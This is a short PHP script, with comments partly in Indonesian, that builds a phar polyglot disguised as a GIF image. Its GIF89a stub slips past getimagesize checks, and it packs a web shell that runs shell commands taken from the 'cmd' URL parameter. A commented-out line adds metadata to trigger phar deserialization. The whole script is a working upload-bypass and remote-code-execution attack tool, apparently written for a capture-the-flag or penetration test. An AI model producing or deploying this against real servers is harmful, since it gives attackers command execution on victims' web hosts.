<?php
// Create phar polyglot that passes as GIF
// Header GIF89a akan dikenali oleh getimagesize

$phar = new Phar('polyglot.phar');
$phar->startBuffering();

// Add shell
$shell = '<?php echo shell_exec($_GET["cmd"]); __HALT_COMPILER();';
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$phar['shell.php'] = $shell;

// Metadata untuk trigger deserialization (if needed)
// $phar->setMetadata(new SplStack());

$phar->stopBuffering();

echo "Phar created\n";
echo "Size: " . filesize('polyglot.phar') . "\n";
echo "First bytes: " . bin2hex(substr(file_get_contents('polyglot.phar'), 0, 20)) . "\n";